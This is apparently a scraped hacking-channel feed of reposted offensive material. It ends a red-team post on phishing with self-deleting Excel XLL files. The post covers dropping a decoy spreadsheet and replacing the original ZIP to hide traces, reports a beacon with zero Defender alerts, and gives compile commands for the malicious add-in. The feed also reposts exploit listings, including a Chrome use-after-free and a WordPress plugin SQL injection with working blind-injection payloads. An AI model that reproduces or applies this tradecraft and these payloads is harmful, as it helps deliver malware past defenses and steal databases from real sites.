Hacking Articles Tips Tricks Videos Tutorials

ps. The local option provides no real advantages (and in fact several disadvantages in that there are several more files associated with a VSTO attack), and the remote option unfortunately requires a code signing certificate or for the remote location to…

same name being dropped in it's place. To the undiscerning eye, it will appear that the XLSX was there the entire time.

Unfortunately the location where the XLL is deleted and the XLSX dropped is the appdata\temp\local folder, not the original ZIP; to address this we can create a second ZIP containing the XLSX alone and also read it into a byte array within the XLL. On execution in addition to the aforementioned actions, the XLL could try and locate the original ZIP file in c:\users\victim\Downloads\ and delete it before dropping the second ZIP containing just the XLSX in it's place. This could of course fail if the user saved the original ZIP in a different location or under a different name, however in many/most cases it should drop in the user's downloads folder automatically. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU09ZHzLN8rp0bEZDmel9F_exi2iaxpxdu2aMzVy538xGH6py5X10zAV7hvyCZmbenGZm925LsnMAFZf-eCec7suE0uiLQHao3LhenUuuXan4pDmUNcjtUBuJtg0yyINrWB60VnvnXd1AwYc8nxSZ6zctetUyMnyLteZBwA0BSrVezwMBFwsPK3NXTGQ/w640-h284/XLL_Phishing_12.png This screenshot shows in the lower pane the temp folder created in appdata\local\temp containing the XLL and the dropped XLSX, while the top pane shows the original File Explorer window from which the XLL was opened. Notice in the lower pane that the XLL has size 0. This is because it deleted itself during execution, however until the top pane is closed the XLL file will not completely disappear from the appdata\local\temp location. Even if the victim were to click the XLL again, it is now inert and does not really exist.

Similarly, as soon as the victim backs out of the opened ZIP in File Explorer (either by closing it or navigating to a different folder), should they click spreadsheet.zip again they will now find that the test folder contains importantdoc.xlsx; so the XLL has been removed and replaced by the harmless XLSX in both locations that it existed on disk.

This GIF demonstrates the download and execution of the XLL on an MDE trial VM. Note that for some reason Excel opens two instances here; on my home computer it only opened one, so not quite sure why that differs. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8A6yfP4XpUYnTs4USY16nZhYkRIcYwlq8aHLvmKbafQ4XJKZ_GLR_TUixXgSgfoFLGpAJWw-OFMUIgUEC-U0GWza7hqOQOhEwZGMNOYVKUH35cm0pOFV9pZchQSXji-w6pmINwIh-wOleLSi6szJJEXy4lTkQ9Rh9KnhTik_MZsYDove45BYcoXJGBg/w640-h262/XLL_Phishing_13_xll_download.gif DetectionAs always, we will ask "What does MDE see?"

A quick screenshot dump to prove that I did execute this on target and catch a beacon back on TestMachine11: https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpRSpL8GTemdVU165ICNFdpYfGNS6HoTr67BwohEHDdWljmhXoVWE0-6PUbUQ5CMOmiB4jT2KEb9swdBEraGWqGKvgaVIxszF3Cb38w2MjO2k9Hk2hLx_lVpEFd_UtwviHKbYOrQvfdjlNhROCv0lRM-d5RxZZSLDdOlYEKdl3f5sQAqDSm1dL2EipHA/w640-h142/XLL_Phishing_14.png https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3HHs1E_aWkashB6YltICYiMRYnaQ29kS5zP3O4U5ifcP4XrTQV3x0w7SM3zLJVCDl4PzOynXRPfgLTnj5vdk7jLhS6VweGkfoqXnjpNkDZGSVc8M9tRM2C8fbu_s8gT6vryGbA8TLHPYyIvntpqRWC_N6AIKdCIvQqiJnSUtzLauxBWUgOJLK3ewMbA/w640-h38/XLL_Phishing_15.png https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimP-OImlQitX9ShJ_Xa-ZAF3rB5MWP77cfDOm6s68k4fP__QgGxfF85yMBP48nvmXhnhU1s8obP3-B0RrRnMy3T-iiBThfy10b48yGEgCZwA0FggeMmBPVoi6ZOpfkiCTlzYcfyUd_rBSSGYXqIM8a2O4calFC6r_jg01vFF9bVHsj7BIIEE28uAt1Pg/w640-h98/XLL_Phishing_16.png First off, zero alerts: https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Y3MpFP5bn9Pyb2slxEUejBphJwRt0_vIarq7MRO9xMorIhZjlPoUl5brQVyOMZ_eCFR_H6Nbl-QrughSceoqss_NLXHwHwkDDbGwkKoBD4OrYNJSOA7oCoCrLhgCGe-BV1I7S6IksXrjPr6Lx2xm4iFu-j96isag2zFKnoeXcIi5wMCRQlgeIzxpzA/w640-h336/XLL_Phishing_17.png What does the timeline/event log capture? https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7kxmJc7xOnOvyuzFyNLgm2w5mETmV4PiAYN0xdvtRU2aSB8vlMvdu7EgqAmB0oCTvq0No2cHLUYO79tzVZ1YnwbLl7dpfHdMolBOjiiECrgwP-Wbd1RPWhvCGy8NUR7TNbLFn1muf-dbhZpuNQ5oxgKcqMrA6V6phtTUfJ-jrzeBdHH[...]

8 views14:29

Hacking Articles Tips Tricks Videos Tutorials

xTmUCbXDt5yQ/w640-h392/XLL_Phishing_18.png Yikes. Truth be told I have no idea where the keylogging, encrypting, and decrypting credentials alerts are coming from as my code doesn't do any of that. Our actions sure look suspicious when laid out like this, but I will again comment on just how much data is collected by MDE on a single endpoint, let alone hundreds, thousands, or hundreds of thousands that an organization may have hooked into the EDR. So long as we aren't throwing any actual alerts, we are probably ok. Code SampleThe moment most have probably been waiting for, I am providing a code sample of my developed XLL runner, limited to just those parts discussed here in the Tradecraft section. It will be on the reader to actually get the code into an XLL and implement it in conjunction with the rest of their runner. As always, do no harm, have permission to phish an organization, etc. Compiling and setupI have included the source code for a program that will ingest a file and produce hex which can be copied into the byte arrays defined in the snippet. Use this on the the XLSX you wish to present to the user, as well as the ZIP file containing the folder which contains that same XLSX and store them in their respective byte arrays. Compile this code using: gcc -o ingestfile ingestfile.c I had some issues getting my XLL's to compile using MingW on a kali machine so thought I would post the commands here:

x64

x86_64-w64-mingw32-gcc snippet.c 2013_Office_System_Developer_Resources/Excel2013XLLSDK/LIB/x64/XLCALL32.LIB -o importantdoc.xll -s -Os -DUNICODE -shared -I 2013_Office_System_Developer_Resources/Excel2013XLLSDK/INCLUDE/

x86

i686-w64-mingw32-gcc snippet.c 2013_Office_System_Developer_Resources/Excel2013XLLSDK/LIB/XLCALL32.LIB -o HelloWorldXll.xll -s -DUNICODE -Os -shared -I 2013_Office_System_Developer_Resources/Excel2013XLLSDK/INCLUDE/

After you compile you will want to make a new folder and copy the XLL into that folder. Then zip it using: zip -r Note that in order for the tradecraft outlined in this post to work, you are going to need to match some variables in the code snippet to what you name the XLL and the zip file. ConclusionWith the dominance of Office Macro's coming to a close, XLL's present an attractive option for phishing campaigns. With some creativity they can be used in conjunction with other techniques to bypass many layers of defenses implemented by organizations and security teams. Thank you for reading and I hope you learned something useful! Download XLL_Phishing

___________________________
@hacking_Attack
@Hacking_Video

10 viewsedited 14:29

Hacking Articles Tips Tricks Videos Tutorials

8 views15:16

Hacking Articles Tips Tricks Videos Tutorials

8 views15:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Chrome LinkToTextMenuObserver::CompleteWithError Heap Use-After-Free

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
A use-after-free issue exists in Chrome 104 and earlier versions. Processing maliciously crafted web content may lead to arbitrary code execution in the browser process. LinkToTextMenuObserver holds a raw pointer to a RenderFrameHost object, but is not owned by the frame host and does not watch for frame host destruction events. Therefore, if an attacker manages to destroy the frame host right after the observer is created but before the timeout task posted in StartLinkGenerationRequestWithTimeout() is executed, use-after-free will occur.

SHA-256 | 071c2f32b441a15bf0f0c6db3397a3899a646938aeb7df15abb5fc345c9589e8

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Chrome LinkToTextMenuObserver::CompleteWithError Heap Use-After-Free

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 15:16

Hacking Articles Tips Tricks Videos Tutorials

7 views15:16

Hacking Articles Tips Tricks Videos Tutorials

7 views15:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Social Share Button 2.2.3 SQL Injection

https://2.bp.blogspot.com/-QZ2Sf2sxziM/WWlvZhEG73I/AAAAAAAAIO0/d0s8s4TXkHwnfXzbpubNEBqDxa568NQgwCLcBGAs/s1600/h60.png
Social Share Buttons version 2.2.3 suffers from a remote SQL injection vulnerability.

SHA-256 | edba387a26274cddcb2a94613095db446c2d09af44f88ad54797136ae0a59e31

Download

## Title: Social Share Buttons-2.2.3 SQLi
## Author: nu11secur1ty
## Date: 09.16.2022
## Vendor: https://wordpress.org/
## Software: https://downloads.wordpress.org/plugin/social-share-buttons-by-supsystic.2.2.3.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3
## Description:
The `project_id` parameter from the Social Share Buttons-2.2.3 system
appears to be vulnerable to SQL injection attacks.
The malicious user can dump-steal the database, from this system and
he can use it for very malicious purposes.
WARNING: The attacker can retrieve all-database from this system!
NOTE: The users of this system are NOT protected, this SQL
vulnerability is CRITICAL!

STATUS: HIGH Vulnerability

[+]Payload:

```mysql
---
Parameter: project_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=social-sharing-share&project_id=378116348' or
'3724'='3724' AND 7995=7995 AND 'rQVH'='rQVH&network_id=5&post_id=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=social-sharing-share&project_id=378116348' or
'3724'='3724' AND (SELECT 9167 FROM (SELECT(SLEEP(5)))dQDw) AND
'KWbC'='KWbC&network_id=5&post_id=
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3)

## Proof and Exploit:
[href](https://streamable.com/m9r76w)